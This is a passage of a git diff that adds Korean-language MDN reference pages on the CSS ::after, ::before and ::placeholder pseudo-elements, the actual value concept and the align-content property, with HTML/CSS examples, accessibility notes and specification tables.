+<p><strong>참고:</strong> <code>::before</code>와 <code>::after</code>로 생성한 의사 요소는 <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">원본 요소의 서식 박스에 포함되므로</a>,<em> </em>{{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>에 적용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>와 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 구분하기 위해 CSS3부터<code>::after</code> 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 <code>:after</code>도 허용합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_사용법">간단한 사용법</h3>
+
+<p>평범한 문단과 흥미진진한 문단을 위해 클래스 두 개를 만들고, 문단 마지막에 의사 요소를 추가해보겠습니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="boring-text"&gt;적당히 평범하고 심심한 글입니다.&lt;/p&gt;
+&lt;p&gt;지루하지도 흥미진진하지도 않은 글입니다.&lt;/p&gt;
+&lt;p class="exciting-text"&gt;MDN 기여는 쉽고 재밌습니다.&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.exciting-text::after {
+  content: " &lt;- 흥미진진!";
+  color: green;
+}
+
+.boring-text::after {
+  content: " &lt;- 먼지풀풀";
+  color: red;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('간단한_사용법', 500, 150)}}</p>
+
+<h3 id="장식_예제">장식 예제</h3>
+
+<p>{{cssxref("content")}} 속성을 활용해 자유롭게 텍스트나 이미지를 추가할 수 있습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;span class="ribbon"&gt;마지막의 주황색 상자를 바라보세요.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.ribbon {
+ background-color: #5BC8F7;
+}
+
+.ribbon::after {
+ content: "멋진 주황색 상자입니다.";
+ background-color: #FFBA10;
+ border-color: black;
+ border-style: dotted;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('장식_예제', 550, 40) }}</p>
+
+<h3 id="툴팁">툴팁</h3>
+
+<p>다음 예제는 <code>::after</code>와 함께 CSS {{cssxref("attr", "attr()")}} 표현식, <code>data-descr</code> <a href="/ko/docs/Web/HTML/Global_attributes/data-*">사용자 설정 데이터 속성</a>을 사용해 툴팁을 구현합니다. JavaScript 없이요!</p>
+
+<p><code>tabindex="0"</code>을 추가해 각 <code>span</code>에 포커스가 갈 수 있도록 지정한 후, CSS <code>:focus</code> 선택자를 추가하여 키보드 사용자도 지원할 수 있습니다. 예제를 통해 ::before와 ::after가 얼마나 유연한지 확인할 수 있지만, 가장 접근성이 뛰어난 구현을 위해서라면 <a href="/ko/docs/Web/HTML/Element/details">요약과 세부 요소</a>처럼 의미를 담은 요소를 활용하는 편이 좋습니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;이 예제는
+  &lt;span tabindex="0" data-descr="단어와 문장 부호의 집합"&gt;텍스트&lt;/span&gt;와 함께 약간의
+  &lt;span tabindex="0" data-descr="호버 시 보여지는 작은 팝업"&gt;툴팁&lt;/span&gt;을 포함합니다.
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">span[data-descr] {
+  position: relative;
+  text-decoration: underline;
+  color: #00F;
+  cursor: help;
+}
+
+span[data-descr]:hover::after,
+span[data-descr]:focus::after {
+  content: attr(data-descr);
+  position: absolute;
+  left: 0;
+  top: 24px;
+  min-width: 200px;
+  border: 1px #aaaaaa solid;
+  border-radius: 10px;
+  background-color: #ffffcc;
+  padding: 12px;
+  color: #000000;
+  font-size: 14px;
+  z-index: 1;
+}</pre>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample('툴팁', 450, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Pseudo-Elements', '#selectordef-after', '::after')}}</td>
+   <td>{{ Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>No significant changes to the previous specification.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname("CSS3 Transitions", "#animatable-properties", "") }}</td>
+   <td>{{ Spec2("CSS3 Transitions")}}</td>
+   <td>Allows transitions on properties defined on pseudo-elements.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname("CSS3 Animations", "", "") }}</td>
+   <td>{{ Spec2("CSS3 Animations")}}</td>
+   <td>Allows animations on properties defined on pseudo-elements.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#gen-content', '::after') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Introduces the two-colon syntax.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'generate.html#before-after-content', '::after') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Initial definition, using the one-colon syntax</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.after")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSSxRef("::before")}}</li>
+ <li>{{CSSxRef("content")}}</li>
+</ul>
diff --git a/files/ko/web/css/_doublecolon_before/index.html b/files/ko/web/css/_doublecolon_before/index.html
new file mode 100644
index 0000000000..211107af88
--- /dev/null
+++ b/files/ko/web/css/_doublecolon_before/index.html
@@ -0,0 +1,237 @@
+---
+title: '::before (:before)'
+slug: 'Web/CSS/::before'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-element
+  - Reference
+  - Web
+translation_of: 'Web/CSS/::before'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS에서, <strong><code>::before</code></strong>는 선택한 요소의 첫 자식으로 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 하나 생성합니다. 보통 {{cssxref("content")}} 속성과 함께 짝지어, 요소에 장식용 콘텐츠를 추가할 때 사용합니다.</span> 기본값은 인라인입니다.</p>
+
+<pre class="brush: css no-line-numbers  language-css"><code class="language-css"><span class="comment token">/* 링크 앞에 하트 추가 */</span>
+<span class="selector token">a<span class="pseudo-class token">::after</span> </span><span class="punctuation token">{</span>
+  <span class="property token">content: "</span></code>♥<code class="language-css"><span class="property token">";</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="note">
+<p><strong>참고:</strong> <code>::before</code>와 <code>::after</code>로 생성한 의사 요소는 <a href="https://www.w3.org/TR/CSS2/generate.html#before-after-content">원본 요소의 서식 박스에 포함되므로</a>,<em> </em>{{HTMLElement("img")}}나 {{HTMLElement("br")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">대체 요소</a>에 적용할 수 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<div class="note">
+<p><strong>참고:</strong> <a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a>와 <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 구분하기 위해 CSS3부터<code>::before</code> 구문을 도입했습니다. 그러나 브라우저는 CSS2 구문인 <code>:before</code>도 허용합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="인용_표시_추가">인용 표시 추가</h3>
+
+<p>One simple example of using <code>::before</code> pseudo-elements is to provide quotation marks. Here we use both <code>::before</code> and <code>{{Cssxref("::after")}}</code> to insert quotation characters.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html">&lt;q&gt;Some quotes,&lt;/q&gt; he said, &lt;q&gt;are better than none.&lt;/q&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css">q::before {
+  content: "«";
+  color: blue;
+}
+
+q::after {
+  content: "»";
+  color: red;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('인용_표시_추가', '500', '50', '')}}</p>
+
+<h3 id="장식_예제">장식 예제</h3>
+
+<p>We can style text or images in the {{cssxref("content")}} property almost any way we want.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;span class="ribbon"&gt;Notice where the orange box is.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::before {
+  content: "Look at this orange box.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample('장식_예제', 450, 60)}}</p>
+
+<h3 id="할_일_목록">할 일 목록</h3>
+
+<p>In this example we will create a simple to-do list using pseudo-elements. This method can often be used to add small touches to the UI and improve user experience.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Buy milk&lt;/li&gt;
+  &lt;li&gt;Take the dog for a walk&lt;/li&gt;
+  &lt;li&gt;Exercise&lt;/li&gt;
+  &lt;li&gt;Write code&lt;/li&gt;
+  &lt;li&gt;Play music&lt;/li&gt;
+  &lt;li&gt;Relax&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">li {
+  list-style-type: none;
+  position: relative;
+  margin: 2px;
+  padding: 0.5em 0.5em 0.5em 2em;
+  background: lightgrey;
+  font-family: sans-serif;
+}
+
+li.done {
+  background: #CCFF99;
+}
+
+li.done::before {
+  content: '';
+  position: absolute;
+  border-color: #009933;
+  border-style: solid;
+  border-width: 0 0.3em 0.25em 0;
+  height: 1em;
+  top: 1.3em;
+  left: 0.6em;
+  margin-top: -1em;
+  transform: rotate(45deg);
+  width: 0.5em;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+  if (ev.target.tagName === 'LI') {
+     ev.target.classList.toggle('done');
+  }
+}, false);
+</pre>
+
+<p>Here is the above code example running live. Note that there are no icons used, and the check-mark is actually the <code>::before</code> that has been styled in CSS. Go ahead and get some stuff done.</p>
+
+<h4 id="Result_3">Result</h4>
+
+<p>{{EmbedLiveSample('할_일_목록', 400, 300)}}</p>
+
+<h3 id="특수문자">특수문자</h3>
+
+<p>As this is CSS; not HTML, you can <strong>not </strong>use markup entities in content values. If you need to use a special character, and can not enter it literally into your CSS content string, use a unicodeescape sequence, consistingof a backslash followed by the hexadecimal unicode value.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ol&gt;
+  &lt;li&gt;Crack Eggs into bowl&lt;/li&gt;
+  &lt;li&gt;Add Milk&lt;/li&gt;
+  &lt;li&gt;Add Flour&lt;/li&gt;
+  &lt;li aria-current='step'&gt;Mix thoroughly into a smooth batter&lt;/li&gt;
+  &lt;li&gt;Pour a ladleful of batter onto a hot, greased, flat frying pan&lt;/li&gt;
+  &lt;li&gt;Fry until the top of the pancake loses its gloss&lt;/li&gt;
+  &lt;li&gt;Flip it over and fry for a couple more minutes&lt;/li&gt;
+  &lt;li&gt;serve with your favorite topping&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css"><code class="language-css">
+li {
+  padding:0.5em;
+}
+
+li[aria-current='step'] {
+  font-weight:bold;
+}
+
+li[aria-current='step']::after {
+  content: " \21E6"; /* Hexadecimal for Unicode Leftwards white arrow*/
+  display: inline;
+}
+</code>
+</pre>
+
+<h4 id="Result_4">Result</h4>
+
+<p>{{EmbedLiveSample('특수문자', 400, 200)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>No significant changes to the previous specification.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Transitions", "#animatable-properties", "")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td>Allows transitions on properties defined on pseudo-elements.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Animations", "", "")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Allows animations on properties defined on pseudo-elements.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Introduces the two-colon syntax.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition, using the one-colon syntax</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.before")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Cssxref("::after")}}</li>
+ <li>{{Cssxref("content")}}</li>
+</ul>
diff --git a/files/ko/web/css/_doublecolon_placeholder/index.html b/files/ko/web/css/_doublecolon_placeholder/index.html
new file mode 100644
index 0000000000..0a6c4a093f
--- /dev/null
+++ b/files/ko/web/css/_doublecolon_placeholder/index.html
@@ -0,0 +1,147 @@
+---
+title: '::placeholder'
+slug: 'Web/CSS/::placeholder'
+translation_of: 'Web/CSS/::placeholder'
+---
+<div>{{CSSRef}}</div>
+
+<p>The <strong><code>::placeholder</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-element</a> represents the <a href="/en-US/docs/Web/HTML/Forms_in_HTML#The_placeholder_attribute">placeholder text</a> in an {{HTMLElement("input")}} or {{HTMLElement("textarea")}} element.</p>
+
+<pre class="brush: css no-line-numbers notranslate">::placeholder {
+  color: blue;
+  font-size: 1.5em;
+}</pre>
+
+<p>Only the subset of CSS properties that apply to the {{cssxref("::first-line")}} pseudo-element can be used in a rule using <code>::placeholder</code> in its selector.</p>
+
+<div class="note">
+<p><strong>Note:</strong> In most browsers, the appearance of placeholder text is a translucent or light gray color by default.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Accessibility_concerns">Accessibility concerns</h2>
+
+<h3 id="Color_contrast">Color contrast</h3>
+
+<h4 id="Contrast_Ratio">Contrast Ratio</h4>
+
+<p>Placeholder text typically has a lighter color treatment to indicate that it is a suggestion for what kind of input will be valid, and is not actual input of any kind.</p>
+
+<p>It is important to ensure that the contrast ratio between the color of the placeholder text and the background of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.</p>
+
+<p>Color contrast ratio is determined by comparing the luminosity of the placeholder text and the input background color values. In order to meet current <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings. Large text is defined as 18.66px and bold or larger, or 24px or larger.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/" rel="noopener">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h4 id="Usability">Usability</h4>
+
+<p>Placeholder text with sufficient color contrast may be interpreted as entered input. Placeholder text will also disappear when a person enters content into an {{htmlelement("input")}} element. Both of these circumstances can interfere with successful form completion, especially for people with cognitive concerns.</p>
+
+<p>An alternate approach to providing placeholder information is to include it outside of the input in close visual proximity, then use <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby</a></code> to programmatically associate the {{HTMLElement("input")}} with its hint.</p>
+
+<p>With this implementation, the hint content is available even if information is entered into the input field, and the input appears free of preexisting input when the page is loaded. Most screen reading technology will use <code>aria-describedby</code> to read the hint after the input's label text is announced, and the person using the screen reader can mute it if they find the extra information unnecessary.</p>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;label for="user-email"&gt;Your email address&lt;/label&gt;
+&lt;span id="user-email-hint" class="input-hint"&gt;Example: jane@sample.com&lt;/span&gt;
+&lt;input id="user-email" aria-describedby="user-email-hint" name="email" type="email"&gt;
+</pre>
+
+<ul>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Placeholders in Form Fields Are Harmful — Nielsen Norman Group</a></li>
+</ul>
+
+<h3 id="Windows_High_Contrast_Mode">Windows High Contrast Mode</h3>
+
+<p>Placeholder text will appear with the same styling as user-entered text content when rendered in <a href="/en-US/docs/Web/CSS/-ms-high-contrast">Windows High Contrast Mode</a>. This will make it difficult for some people to determine which content has been entered, and which content is placeholder text.</p>
+
+<ul>
+ <li><a href="http://www.gwhitworth.com/blog/2017/04/how-to-use-ms-high-contrast">Greg Whitworth — How to use -ms-high-contrast</a></li>
+</ul>
+
+<h3 id="Labels">Labels</h3>
+
+<p>Placeholders are not a replacement for the {{htmlelement("label")}} element. Without a label that has been programmatically associated with an input using a combination of the {{htmlattrxref("for", "label")}} and {{htmlattrxref("id")}} attributes, assistive technology such as screen readers cannot parse {{htmlelement("input")}} elements.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/forms/Basic_form_hints">MDN Basic form hints</a></li>
+ <li><a href="https://www.nngroup.com/articles/form-design-placeholders/">Placeholders in Form Fields Are Harmful — Nielsen Norman Group</a></li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Red_text">Red text</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;input placeholder="Type something here!"&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">input::placeholder {
+  color: red;
+  font-size: 1.2em;
+  font-style: italic;
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Red_text", 200, 60)}}</p>
+
+<h3 id="Green_text">Green text</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush:html line-numbers language-html notranslate">&lt;input placeholder="Type something here..."&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">input::placeholder {
+  color: green;
+}
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Green_text", 200, 60)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#placeholder-pseudo', '::placeholder')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.placeholder")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{cssxref(":placeholder-shown")}} pseudo-class styles an element that <em>has</em> an active placeholder.</li>
+ <li>Related HTML elements: {{HTMLElement("input")}}, {{HTMLElement("textarea")}}</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML forms</a></li>
+</ul>
diff --git a/files/ko/web/css/actual_value/index.html b/files/ko/web/css/actual_value/index.html
new file mode 100644
index 0000000000..9b9bf9ce2f
--- /dev/null
+++ b/files/ko/web/css/actual_value/index.html
@@ -0,0 +1,47 @@
+---
+title: 실제값
+slug: Web/CSS/actual_value
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/actual_value
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>실제값</strong>은 모든 근사치(approximation)가 적용된 뒤의 <a href="/ko/docs/Web/CSS/used_value">사용값</a>입니다. 예를 들어, 사용자 에이전트는 오직 정수 픽셀값으로 테두리(border)를 렌더링할 수도 있고 테두리의 계산된 폭(width)에 근접하도록 강제할 지도 모릅니다.</p>
+
+<h2 id="Calculating_a_property's_actual_value">Calculating a property's actual value</h2>
+
+<p>The {{glossary("user agent")}} performs four steps to calculate a property's actual (final) value:</p>
+
+<ol>
+ <li>First, the <a href="/ko/docs/CSS/specified_value" title="https://developer.mozilla.org/en/CSS/specified_value">specified value</a> is determined based on the result of <a href="/ko/docs/Web/CSS/Cascade">cascading</a>, <a href="/ko/docs/Web/CSS/inheritance" title="en/CSS/inheritance">inheritance</a>, or using the <a href="/ko/docs/Web/CSS/initial_value">initial value</a>.</li>
+ <li>Next, the <a href="/ko/docs/Web/CSS/computed_value" title="en/CSS/computed value">computed value</a> is calculated according to the specification (for example, a <code>span</code> with <code>position: absolute</code> will have its computed <code>display</code> changed to <code>block</code>).</li>
+ <li>Then, layout is calculated, resulting in the <a href="/ko/docs/Web/CSS/used_value">used value</a>.</li>
+ <li>Finally, the used value is transformed according to the limitations of the local environment, resulting in the actual value.</li>
+</ol>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'cascade.html#actual-value', 'actual value')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/align-content/index.html b/files/ko/web/css/align-content/index.html
new file mode 100644
index 0000000000..43c4ece03e
--- /dev/null
+++ b/files/ko/web/css/align-content/index.html
@@ -0,0 +1,297 @@
+---
+title: align-content
+slug: Web/CSS/align-content
+tags:
+  - CSS
+  - CSS Box Alignment
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/align-content
+---
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>align-content</code></strong> 속성은 콘텐츠 사이와 콘텐츠 주위 빈 공간을 <a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">플렉스박스</a>의 교차축, <a href="/ko/docs/Web/CSS/CSS_Grid_Layout">그리드</a>의 블록 축을 따라 배치하는 방식을 결정합니다.</p>
+
+<p>아래의 대화형 예제는 그리드 레이아웃을 사용해 이 속성의 값을 시연합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/align-content.html")}}</div>
+
+
+
+<p>이 속성은 한 줄로만 이루어진 플렉스 컨테이너에는 아무 효과도 없습니다. (<code>flex-wrap: nowrap</code> 등)</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Basic positional alignment */
+/* align-content does not take left and right values */
+align-content: center;     /* Pack items around the center */
+align-content: start;      /* Pack items from the start */
+align-content: end;        /* Pack items from the end */
+align-content: flex-start; /* Pack flex items from the start */
+align-content: flex-end;   /* Pack flex items from the end */
+
+/* Normal alignment */
+align-content: normal;
+
+/* Baseline alignment */
+align-content: baseline;
+align-content: first baseline;
+align-content: last baseline;
+
+/* Distributed alignment */
+align-content: space-between; /* Distribute items evenly
+                                 The first item is flush with the start,
+                                 the last is flush with the end */
+align-content: space-around;  /* Distribute items evenly
+                                 Items have a half-size space
+                                 on either end */
+align-content: space-evenly;  /* Distribute items evenly
+                                 Items have equal space around them */
+align-content: stretch;       /* Distribute items evenly
+                                 Stretch 'auto'-sized items to fit
+                                 the container */
+
+/* Overflow alignment */
+align-content: safe center;
+align-content: unsafe center;
+
+/* Global values */
+align-content: inherit;
+align-content: initial;
+align-content: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 시작 모서리에 배치합니다.</dd>
+ <dt><code>end</code></dt>
+ <dd>플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 끝 모서리에 배치합니다.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 시작점에 따라 정렬 컨테이너 모서리에 배치합니다.<br>
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 <code>start</code>로 취급합니다.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 끝점에 따라 정렬 컨테이너 모서리에 배치합니다.<br>
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 <code>end</code>로 취급합니다.</dd>
+ <dt><code>center</code></dt>
+ <dd>플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 중앙에 배치합니다.</dd>
+ <dt><code>normal</code></dt>
+ <dd><code>align-content</code>를 지정하지 않았을 때처럼, 플렉스/그리드 항목을 한 덩어리로 뭉쳐서 기본 위치에 배치합니다.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd><img alt='the baseline is the line upon which most letters "sit" and below which descenders extend.' src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/39/Typography_Line_Terms.svg/410px-Typography_Line_Terms.svg.png" style="height: 110px; width: 410px;"></dd>
+ <dd>Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.<br>
+ <code>first baseline</code>의 대체 정렬은 <code>start</code>이며 <code>last baseline</code>의 대체 정렬은 <code>end</code>입니다.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목은 정렬 컨테이너 교차축의 시작점에, 마지막 항목은 정렬 컨테이너 교차축의 종료점에 붙입니다.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목 이전 여백과 마지막 항목 이후 여백은 각 항목간 거리의 절반이 됩니다.</dd>
+ <dt><code>space-evenly</code></dt>
+ <dd>정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리, 첫 항목 이전 여백, 마지막 항목 이후 여백이 모두 같아집니다.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>모든 항목의 교차축 방향 크기의 합이 정렬 컨테이너보다 작은 경우, 모든 <code>auto</code> 크기의 항목이 동일(비례하지 않음)하게 커져서 정렬 컨테이너의 교차축 방향을 가득 채웁니다. 단, 항목에 지정한 {{cssxref("max-height")}}/{{cssxref("max-width")}} 등의 크기 제한은 준수합니다.</dd>
+ <dt><code>safe</code></dt>
+ <dd>정렬 키워드와 함께 사용합니다. 주어진 키워드로 인해 항목이 정렬 컨테이너 밖으로 오버플로하게 되어 데이터가 유실될 수 있으면 항목 정렬에 <code>start</code>를 대신 사용합니다.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>정렬 키워드와 함께 사용합니다. 컨테이너와 항목의 상대적 크기 및 오버플로로 인한 데이터 유실에 상관하지 않고 주어진 정렬을 준수합니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4] notranslate">#container {
+  height:200px;
+  width: 240px;
+  align-content: center; /* Can be changed in the live sample */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div &gt; div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
